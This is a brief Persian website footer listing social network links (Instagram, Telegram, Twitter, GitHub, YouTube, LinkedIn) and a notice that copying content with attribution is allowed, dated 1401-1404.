شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404